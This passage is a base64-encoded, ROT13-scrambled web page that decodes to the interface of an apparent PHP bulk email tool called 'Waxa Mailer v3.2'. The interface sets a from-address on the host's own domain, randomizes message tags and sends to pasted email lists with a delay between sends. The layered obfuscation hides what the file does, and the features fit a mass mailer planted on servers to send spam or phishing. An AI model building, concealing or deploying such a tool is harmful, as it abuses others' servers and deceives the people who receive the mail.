mhhcTogI3MzczRzNjsKICAgICAgICAgICAgb2JlcXJlLXBieWJlOiBpbmUoLS1jZXZ6bmVsKTsKICAgICAgICAgICAgcGJ5YmU6IGluZSgtLWNldnpuZWwpOwogICAgICAgIH0KICAgICAgICAKICAgICAgICAuemJxbnktdXJucXJlIHsKICAgICAgICAgICAgb25weHRlYmhhcTogeXZhcm5lLXRlbnF2cmFnKDEzNXFydCwgaW5lKC0tY2V2em5lbCksIGluZSgtLWZycGJhcW5lbCkpOwogICAgICAgICAgICBwYnliZToganV2Z3I7CiAgICAgICAgICAgIG9iZXFyZS1lbnF2aGY6IDE1Y2sgMTVjayAwIDA7CiAgICAgICAgICAgIGNucXF2YXQ6IDIwY2sgMjVjazsKICAgICAgICB9CiAgICAgICAgCiAgICAgICAgLmNlYnRlcmZmIHsKICAgICAgICAgICAgdXJ2dHVnOiAxMGNrOwogICAgICAgICAgICBvYmVxcmUtZW5xdmhmOiA1Y2s7CiAgICAgICAgICAgIG9ucHh0ZWJoYXE6ICNyNXI3cm87CiAgICAgICAgfQogICAgICAgIAogICAgICAgIC5jZWJ0ZXJmZi1vbmUgewogICAgICAgICAgICBvbnB4dGViaGFxOiB5dmFybmUtdGVucXZyYWcoMTM1cXJ0LCBpbmUoLS1jZXZ6bmVsKSwgaW5lKC0tZnJwYmFxbmVsKSk7CiAgICAgICAgICAgIG9iZXFyZS1lbnF2aGY6IDVjazsKICAgICAgICB9CiAgICAgICAgCiAgICAgICAgLm55cmVnIHsKICAgICAgICAgICAgb2JlcXJlOiBhYmFyOwogICAgICAgICAgICBvYmVxcmUtZW5xdmhmOiAxMGNrOwogICAgICAgICAgICBjbnFxdmF0OiAxNWNrIDIwY2s7CiAgICAgICAgICAgIHpuZXR2YS1vYmdnYno6IDE1Y2s7CiAgICAgICAgfQogICAgICAgIAogICAgICAgIC5ueXJlZy1maHBwcmZmIHsKICAgICAgICAgICAgb25weHRlYmhhcTogeXZhcm5lLXRlbnF2cmFnKDEzNXFydCwgZXRvbigxNiwgMTg1LCAxMjksIDAuMSksIGV0b24oMTYsIDE4NSwgMTI5LCAwLjA1KSk7CiAgICAgICAgICAgIHBieWJlOiAjMDY1czQ2OwogICAgICAgICAgICBvYmVxcmUteXJzZzogNGNrIGZieXZxIGluZSgtLWZocHByZmYpOwogICAgICAgIH0KICAgICAgICAKICAgICAgICAubnlyZWctcW5hdHJlIHsKICAgICAgICAgICAgb25weHRlYmhhcTogeXZhcm5lLXRlbnF2cmFnKDEzNXFydCwgZXRvbigyMzksIDY4LCA2OCwgMC4xKSwgZXRvbigyMzksIDY4LCA2OCwgMC4wNSkpOwogICAgICAgICAgICBwYnliZTogIzk5MW8xbzsKICAgICAgICAgICAgb2JlcXJlLXlyc2c6IDRjayBmYnl2cSBpbmUoLS1xbmF0cmUpOwogICAgICAgIH0KICAgICAgICAKICAgICAgICAubnlyZWctam5lYXZhdCB7CiAgICAgICAgICAgIG9ucHh0ZWJoYXE6IHl2YXJuZS10ZW5xdnJhZygxMzVxcnQsIGV0b24oMjQ1LCAxNTgsIDExLCAwLjEpLCBldG9uKDI0NSwgMTU4LCAxMSwgMC4wNSkpOwogICAgICAgICAgICBwYnliZTogIzkyNDAwcjsKICAgICAgICAgICAgb2JlcXJlLXlyc2c6IDRjayBmYnl2cSBpbmUoLS1qbmVhdmF0KTsKICAgICAgICB9CiAgICAgICAgCiAgICAgICAgLm55cmVnLXZhc2IgewogICAgICAgICAgICBvbnB4dGViaGFxOiB5dmFybmUtdGVucXZyYWcoMTM1cXJ0LCBldG9uKDU5LCAxMzAsIDI0NiwgMC4xKSwgZXRvbig1OSwgMTMwLCAyNDYsIDAuMDUpKTsKICAgICAgICAgICAgcGJ5YmU6ICMxcjQwbnM7CiAgICAgICAgICAgIG9iZXFyZS15cnNnOiA0Y2sgZmJ5dnEgaW5lKC0tdmFzYik7CiAgICAgICAgfQogICAgICAgIAogICAgICAgIEB6cnF2biAoem5rLWp2cWd1OiA3NjhjaykgewogICAgICAgICAgICAucG5lcS1vYnFsIHsKICAgICAgICAgICAgICAgIGNucXF2YXQ6IDIwY2s7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgCiAgICAgICAgICAgIC5mZ25nZi1wbmVxIHsKICAgICAgICAgICAgICAgIGNucXF2YXQ6IDIwY2s7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgCiAgICAgICAgICAgIC5hbmlvbmUtb2VuYXEgewogICAgICAgICAgICAgICAgc2JhZy1mdm1yOiAxLjVlcno7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICA8L2ZnbHlyPgo8L3VybnE+CjxvYnFsPgogICAgPCEtLSBBbml2dG5ndmJhIC0tPgogICAgPGFuaSBweW5mZj0iYW5pb25lIGFuaW9uZS1ya2NuYXEteXQiPgogICAgICAgIDxxdmkgcHluZmY9InBiYWdudmFyZSI+CiAgICAgICAgICAgIDxuIHB5bmZmPSJhbmlvbmUtb2VuYXEiIHVlcnM9IiMiPgogICAgICAgICAgICAgICAgPHYgcHluZmY9Im92IG92LWZyYXEtcHVycHggenItMiI+PC92Pkpua24gWm52eXJlCiAgICAgICAgICAgIDwvbj4KICAgICAgICAgICAgPHF2aSBweW5mZj0icS1zeXJrIG55dnRhLXZncnpmLXByYWdyZSI+CiAgICAgICAgICAgICAgICA8ZmNuYSBweW5mZj0ib25xdHIgb3QtY2V2em5lbCB6ci0zIj4KICAgICAgICAgICAgICAgICAgICA8diBweW5mZj0ib3Ygb3YteXZ0dWdhdmF0LXB1bmV0ciI+PC92PiBpMy4yCiAgICAgICAgICAgICAgICA8L2ZjbmE+CiAgICAgICAgICAgICAgICA8cXZpIHB5bmZmPSJxZWJjcWJqYSI+CiAgICAgICAgICAgICAgICAgICAgPG9oZ2diYSBweW5mZj0ib2dhIG9nYS1iaGd5dmFyLWZycGJhcW5lbCBvZ2EtZnogcWViY3FiamEtZ2J0dHlyIiBnbGNyPSJvaGdnYmEiIHFuZ24tb2YtZ2J0dHlyPSJxZWJjcWJqYSI+CiAgICAgICAgICAgICAgICAgICAgICAgIDx2IHB5bmZmPSJvdiBvdi1jcmVmYmEtcHZlcHlyIj48L3Y+IE5xenZhCiAgICAgICAgICAgICAgICAgICAgPC9vaGdnYmE+CiAgICAgICAgICAgICAgICAgICAgPGh5IHB5bmZmPSJxZWJjcWJqYS16cmFoIHFlYmNxYmphLXpyYWgtcmFxIj4KICAgICAgICAgICAgICAgICAgICAgICAgPHl2PjxuIHB5bmZmPSJxZWJjcWJqYS12Z3J6IiB1ZXJzPSIjIiBxbmduLW9mLWdidHR5cj0iemJxbnkiIHFuZ24tb2YtZ25ldHJnPSIjdXJ5Y1picW55Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx2IHB5bmZmPSJvdiBvdi1kaHJmZ3ZiYS1wdmVweXIiPjwvdj4gVXJ5YwogICAgICAgICAgICAgICAgICAgICAgICA8L24+PC95dj4KICAgICAgICAgICAgICAgICAgICAgICAgPHl2Pjx1ZSBweW5mZj0icWViY3FiamEtcXZpdnFyZSI+PC95dj4KICAgICAgICAgICAgICAgICAgICAgICAgPHl2PjxuIHB5bmZmPSJxZWJjcWJqYS12Z3J6IGdya2ctcW5hdHJlIiB1ZXJzPSI/eWJ0YmhnPTEiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHYgcHluZmY9Im92IG92LW9iay1uZWViai1ldnR1ZyI+PC92PiBZYnRiaGcKICAgICAgICAgICAgICAgICAgICAgICAgPC9uPjwveXY+CiAgICAgICAgICAgICAgICAgICAgPC9oeT4KICAgICAgICAgICAgICAgIDwvcXZpPgogICAgICAgICAgICA8L3F2aT4KICAgICAgICA8L3F2aT4KICAgIDwvYW5pPgoKICAgIDxxdmkgcHluZmY9InBiYWdudmFyZSBjbC00Ij4KICAgICAgICA8IS0tIEdub2YgQW5pdnRuZ3ZiYSAtLT4KICAgICAgICA8aHkgcHluZmY9ImFuaSBhbmktZ25vZiIgdnE9Impua25Hbm9mIiBlYnlyPSJnbm95dmZnIj4KICAgICAgICAgICAgPHl2IHB5bmZmPSJhbmktdmdyeiIgZWJ5cj0iY2VyZnJhZ25ndmJhIj4KICAgICAgICAgICAgICAgIDxvaGdnYmEgcHluZmY9ImFuaS15dmF4IG5wZ3ZpciIgdnE9InBiemNiZnItZ25vIiBxbmduLW9mLWdidHR5cj0iZ25vIiBxbmduLW9mLWduZXRyZz0iI3BiemNiZnIiIGdsY3I9Im9oZ2diYSI+CiAgICAgICAgICAgICAgICAgICAgPHYgcHluZmY9Im92IG92LXJhaXJ5YmNyLWNuY3JlIHpyLTIiPjwvdj5QYnpjYmZyCiAgICAgICAgICAgICAgICA8L29oZ2diYT4KICAgICAgICAgICAgPC95dj4KICAgICAgICAgICAgPHl2IHB5bmZmPSJhbmktdmdyeiIgZWJ5cj0iY2VyZnJhZ25ndmJhIj4KICAgICAgICAgICAgICAgIDxvaGdnYmEgcHluZmY9ImFuaS15dmF4IiB2cT0iZmxmZ3J6LWdubyIgcW5nbi1vZi1nYnR0eXI9ImdubyIgcW5nbi1vZi1nbmV0cmc9IiNmbGZncnoiIGdsY3I9Im9oZ2diYSI+CiAgICAgICAgICAgICAgICAgICAgPHYgcHluZmY9Im92IG92LXRybmUgenItMiI+PC92PkZsZmdyegogICAgICAgICAgICAgICAgPC9vaGdnYmE+CiAgICAgICAgICAgIDwveXY+CiAgICAgICAgICAgIDx5diBweW5mZj0iYW5pLXZncnoiIGVieXI9ImNlcmZyYWduZ3ZiYSI+CiAgICAgICAgICAgICAgICA8b2hnZ2JhIHB5bmZmPSJhbmkteXZheCIgdnE9ImdyemN5bmdyZi1nbm8iIHFuZ24tb2YtZ2J0dHlyPSJnbm8iIHFuZ24tb2YtZ25ldHJnPSIjZ3J6Y3luZ3JmIiBnbGNyPSJvaGdnYmEiPgogICAgICAgICAgICAgICAgICAgIDx2IHB5bmZmPSJvdiBvdi1zdnlyLXJuZXpuZXgtZ3JrZyB6ci0yIj48L3Y+R3J6Y3luZ3JmCiAgICAgICAgICAgICAgICA8L29oZ2diYT4KICAgICAgICAgICAgPC95dj4KICAgICAgICAgICAgPHl2IHB5bmZmPSJhbmktdmdyeiIgZWJ5cj0iY2VyZnJhZ25ndmJhIj4KICAgICAgICAgICAgICAgIDxvaGdnYmEgcHluZmY9ImFuaS15dmF4IiB2cT0ieWJ0Zi1nbm8iIHFuZ24tb2YtZ2J0dHlyPSJnbm8iIHFuZ24tb2YtZ25ldHJnPSIjeWJ0ZiIgZ2xjcj0ib2hnZ2JhIj4KICAgICAgICAgICAgICAgICAgICA8diBweW5mZj0ib3Ygb3YteXZmZy1wdXJweCB6ci0yIj48L3Y+WWJ0ZgogICAgICAgICAgICAgICAgPC9vaGdnYmE+CiAgICAgICAgICAgIDwveXY+CiAgICAgICAgPC9oeT4KCiAgICAgICAgPHF2aSBweW5mZj0iZ25vLXBiYWdyYWciIHZxPSJqbmtuR25vZlBiYWdyYWciPgogICAgICAgICAgICA8IS0tIFBiemNiZnIgR25vIC0tPgogICAgICAgICAgICA8cXZpIHB5bmZmPSJnbm8tY25hciBzbnFyIGZ1YmogbnBndmlyIiB2cT0icGJ6Y2JmciIgZWJ5cj0iZ25vY25hcnkiPgogICAgICAgICAgICAgICAgPHF2aSBweW5mZj0iZWJqIj4KICAgICAgICAgICAgICAgICAgICA8cXZpIHB5bmZmPSJwYnkteXQtOCI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxxdmkgcHluZmY9InBuZXEiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHF2aSBweW5mZj0icG5lcS11cm5xcmUiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx1NSBweW5mZj0iem8tMCI+PHYgcHluZmY9Im92IG92LXJhaXJ5YmNyLWNuY3JlIHpyLTIiPjwvdj5QYnpjYmZyIFJ6bnZ5PC91NT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvcXZpPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHF2aSBweW5mZj0icG5lcS1vYnFsIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c2JleiB6cmd1YnE9ImNiZmciIHZxPSJyem52eVNiZXoiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dmFjaGcgZ2xjcj0idXZxcXJhIiBhbnpyPSJucGd2YmEiIGlueWhyPSJmcmFxIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxxdmkgcHluZmY9ImViaiB6by0zIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxxdmkgcHluZmY9InBieS16cS02Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8eW5vcnkgcHluZmY9InNiZXoteW5vcnkiPlNlYnogUnpudnkgKjwveW5vcnk+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHZhY2hnIGdsY3I9InJ6bnZ5IiBweW5mZj0ic2Jlei1wYmFnZWJ5IiBhbnpyPSJzZWJ6X3J6bnZ5IiBlcmRodmVycSAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaW55aHI9Ijw/PSB1Z3p5ZmNycHZueXB1bmVmKCRfQ0JGR1snc2Viel9yem52eSddID8/ICdhYmVyY3lsQCcgLiAkX0ZSRUlSRVsnVUdHQ19VQkZHJ10pID8+Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZnpueXkgcHluZmY9Imdya2ctemhncnEiPkhmciBuYSByem52eSBzZWJ6IGxiaGUgcWJ6bnZhPC9mem55eT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvcXZpPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHF2aSBweW5mZj0icGJ5LXpxLTYiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx5bm9yeSBweW5mZj0ic2Jlei15bm9yeSI+RnJhcXJlIEFuenI8L3lub3J5PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx2YWNoZyBnbGNyPSJncmtnIiBweW5mZj0ic2Jlei1wYmFnZWJ5IiBhbnpyPSJzZWJ6X2FuenIiIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpbnlocj0iPD89IHVnenlmY3Jwdm55cHVuZWYoJF9DQkZHWydzZWJ6X2FuenInXSA/PyAnSm5rbiBabnZ5cmUnKSA/PiI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3F2aT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9xdmk+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cXZpIHB5bmZmPSJ6by0zIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx5bm9yeSBweW5mZj0ic2Jlei15bm9yeSI+Rmhvd3JwZyAqPC95bm9yeT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxxdmkgcHluZmY9InZhY2hnLXRlYmhjIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dmFjaGcgZ2xjcj0iZ3JrZyIgcHluZmY9InNiZXotcGJhZ2VieSIgYW56cj0iZmhvd3JwZyIgZXJkaHZlcnEgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlueWhyPSI8Pz0gdWd6eWZjcnB2bnlwdW5lZigkX0NCRkdbJ2Zob3dycGcnXSA/PyAnVnpjYmVnbmFnIFpyZmZudHIgc2VieiAnIC4gJF9GUkVJUkVbJ1VHR0NfVUJGRyddKSA/PiI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPG9oZ2diYSBnbGNyPSJvaGdnYmEiIHB5bmZmPSJvZ2Egb2dhLWJoZ3l2YXItZnJwYmFxbmVsIiBiYXB5dnB4PSJucXFHbnQoJ2Zob3dycGcnLCAnWy1lbmFxYnpmZ2V2YXQtXScpIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTnFxIEdudAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvb2hnZ2JhPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9xdmk+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvcXZpPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHF2aSBweW5mZj0iem8tMyI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8eW5vcnkgcHluZmY9InNiZXoteW5vcnkiPlpyZmZudHIgKjwveW5vcnk+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8Z3JrZ25lcm4gcHluZmY9InNiZXotcGJhZ2VieSIgYW56cj0ienJmZm50ciIgZWJqZj0iMTIiIGVyZGh2ZXJxIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHZxPSJ6cmZmbnRyTmVybiI+PD89IHVnenlmY3Jwdm55cHVuZWYoJF9DQkZHWyd6cmZmbnRyJ10gPz8gIlVyeXliIFstcnpudnloZnJlLV0sCgpHdXZmIHZmIG4gZ3JmZyByem52eSBmcmFnIHNlYnogSm5rbiBabnZ5cmUgaTMuMi4KCuKAoiBMYmhlIHJ6bnZ5OiBbLXJ6bnZ5LV0K4oCiIFFiem52YTogWy1yem52eXFiem52YS1dCuKAoiBHdnpyOiBbLWd2enItXQrigKIgRXJzcmVyYXByOiBbLWVuYXFiemZnZXZhdC1dCgpHdW5heCBsYmgsCkd1ciBHcm56IikgPz48L2dya2duZXJuPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHF2aSBweW5mZj0iemctMiI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGZ6bnl5IHB5bmZmPSJncmtnLXpoZ3JxIj5EaHZweCBnbnRmOiA8L2Z6bnl5PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/Y3VjCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGdudGYgPSBbJ1stcnpudnktXScsICdbLXJ6bnZ5aGZyZS1dJywgJ1stcnpudnlxYnpudmEtXScsICdbLWd2enItXScsICdbLXFuZ3ItXScsICdbLWVuYXFiemZnZXZhdC1dJywgJ1stZW5hcWJ6enE1LV0nLCAnWy1nYnhyYS1dJ107CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc2Jlcm5wdSgkZ250ZiBuZiAkZ250KXsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcnB1YiAnPG9oZ2diYSBnbGNyPSJvaGdnYmEiIHB5bmZmPSJnbnQtb2dhIiBiYXB5dnB4PSJucXFHbnQoXCd6cmZmbnRyXCcsIFwnJyAuICRnbnQgLiAnXCcpIj4nIC4gJGdudCAuICc8L29oZ2diYT4nOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA/PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9xdmk+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvcXZpPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHF2aSBweW5mZj0iem8tMyI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8eW5vcnkgcHluZmY9InNiZXoteW5vcnkiPlJ6bnZ5IFl2ZmcgKGJhciBjcmUgeXZhcikgKjwveW5vcnk+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8Z3JrZ25lcm4gcHluZmY9InNiZXotcGJhZ2VieSIgYW56cj0icnpudnlfeXZmZyIgZWJqZj0iOCIgZXJkaHZlcnEgdnE9InJ6bnZ5WXZmZ05lcm4iPjw/PSB1Z3p5ZmNycHZueXB1bmVmKCRfQ0JGR1sncnpudnlfeXZmZyddID8/ICcnKSA/PjwvZ3JrZ25lcm4+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cXZpIHB5bmZmPSJ6Zy0yIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8b2hnZ2JhIGdsY3I9Im9oZ2diYSIgcHluZmY9Im9nYSBvZ2EtYmhneXZhci12YXNiIG9nYS1meiB6ci0yIiBxbmduLW9mLWdidHR5cj0iemJxbnkiIHFuZ24tb2YtZ25ldHJnPSIjcmtnZW5wZ1picW55Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHYgcHluZmY9Im92IG92LXpudHZwIj48L3Y+IFJrZ2VucGcgUnpudnlmCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9vaGdnYmE+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPG9oZ2diYSBnbGNyPSJvaGdnYmEiIHB5bmZmPSJvZ2Egb2dhLWJoZ3l2YXItZmhwcHJmZiBvZ2EtZnogenItMiIgcW5nbi1vZi1nYnR0eXI9InpicW55IiBxbmduLW9mLWduZXRyZz0iI2dyZmdaYnFueSI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx2IHB5bmZmPSJvdiBvdi1wdXJweC1wdmVweXIiPjwvdj4gRnJhcSBHcmZnCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9vaGdnYmE+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPG9oZ2diYSBnbGNyPSJvaGdnYmEiIHB5bmZmPSJvZ2Egb2dhLWJoZ3l2YXItZnJwYmFxbmVsIG9nYS1meiIgYmFweXZweD0icWJwaHpyYWcudHJnUnlyenJhZ09sVnEoJ3J6bnZ5WXZmZ05lcm4nKS5pbnlociA9ICcnIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHYgcHluZmY9Im92IG92LWdlbmZ1Ij48L3Y+IFB5cm5lCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9vaGdnYmE+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3F2aT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9xdmk+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cXZpIHB5bmZmPSJlYmogem8tNCI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cXZpIHB5bmZmPSJwYnktenEtNiI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHF2aSBweW5mZj0ic2Jlei1wdXJweCBzYmV6LWZqdmdwdSI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx2YWNoZyBweW5mZj0ic2Jlei1wdXJweC12YWNoZyIgZ2xjcj0icHVycHhvYmsiIGFuenI9InZmX3VnenkiIHZxPSJ2Zl91Z3p5IiBwdXJweHJxPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8eW5vcnkgcHluZmY9InNiZXotcHVycHgteW5vcnkiIHNiZT0idmZfdWd6eSI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8diBweW5mZj0ib3Ygb3YtcGJxci1meW5mdSI+PC92PiBGcmFxIG5mIFVHWlkgcnpudnkKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC95bm9yeT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3F2aT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvcXZpPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHF2aSBweW5mZj0icGJ5LXpxLTYiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx5bm9yeSBweW5mZj0ic2Jlei15bm9yeSI+UXJ5bmwgb3JnanJyYSByem52eWYgKHpmKTwveW5vcnk+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHZhY2hnIGdsY3I9ImVuYXRyIiBweW5mZj0ic2Jlei1lbmF0ciIgYW56cj0icXJ5bmwiIHp2YT0iMCIgem5rPSIxMDAwIiBpbnlocj0iMTAwIiAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYmF2YWNoZz0icWJwaHpyYWcudHJnUnlyenJhZ09sVnEoJ3FyeW5sSW55aHInKS52YWFyZUdya2cgPSBndXZmLmlueWhyICsgJ3pmJyI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHF2aSBweW5mZj0iZ3JrZy1wcmFncmUiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZmNuYSB2cT0icXJ5bmxJbnlociIgcHluZmY9Im9ucXRyIG90LWZycGJhcW5lbCI+MTAwemY8L2ZjbmE+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9xdmk+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHZhY2hnIGdsY3I9InV2cXFyYSIgYW56cj0icXJ5bmwiIGlueWhyPSIxMDAwMDAiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9xdmk+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvcXZpPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHF2aSBweW5mZj0icS10ZXZxIHRuYy0yIHEtenEtc3lyayB3aGZndnNsLXBiYWdyYWctenEtb3JnanJyYSI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8b2hnZ2JhIGdsY3I9ImZob3p2ZyIgcHluZmY9Im9nYSBvZ2EtY2V2em5lbCBvZ2EteXQiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx2IHB5bmZmPSJvdiBvdi1mcmFxLXB1cnB4Ij48L3Y+IEZyYXEgUnpudnlmCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L29oZ2diYT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxvaGdnYmEgZ2xjcj0ib2hnZ2JhIiBweW5mZj0ib2dhIG9nYS1iaGd5dmFyLWZycGJhcW5lbCBvZ2EteXQiIGJhcHl2cHg9InB5cm5lU2JleigpIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8diBweW5mZj0ib3Ygb3YtcmVuZnJlIj48L3Y+IFB5cm5lIE55eQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9vaGdnYmE+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvcXZpPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvc2Jlej4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvcXZpPgogICAgICAgICAgICAgICAgICAgICAgICA8L3F2aT4KICAgICAgICAgICAgICAgICAgICA8L3F2aT4KICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICA8cXZpIHB5bmZmPSJwYnkteXQtNCI+CiAgICAgICAgICAgICAgICAgICAgICAgIDwhLS0gRmduZ2YgLS0+CiAgICAgICAgICAgICAgICAgICAgICAgIDxxdmkgcHluZmY9InBuZXEiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHF2aSBweW5mZj0icG5lcS11cm5xcmUiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx1NSBweW5mZj0iem8tMCI+PHYgcHluZmY9Im92IG92LW9uZS1wdW5lZyB6ci0yIj48L3Y+RmduZ3ZmZ3ZwZjwvdTU+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3F2aT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxxdmkgcHluZmY9InBuZXEtb2JxbCI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHF2aSBweW5mZj0iZWJqIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg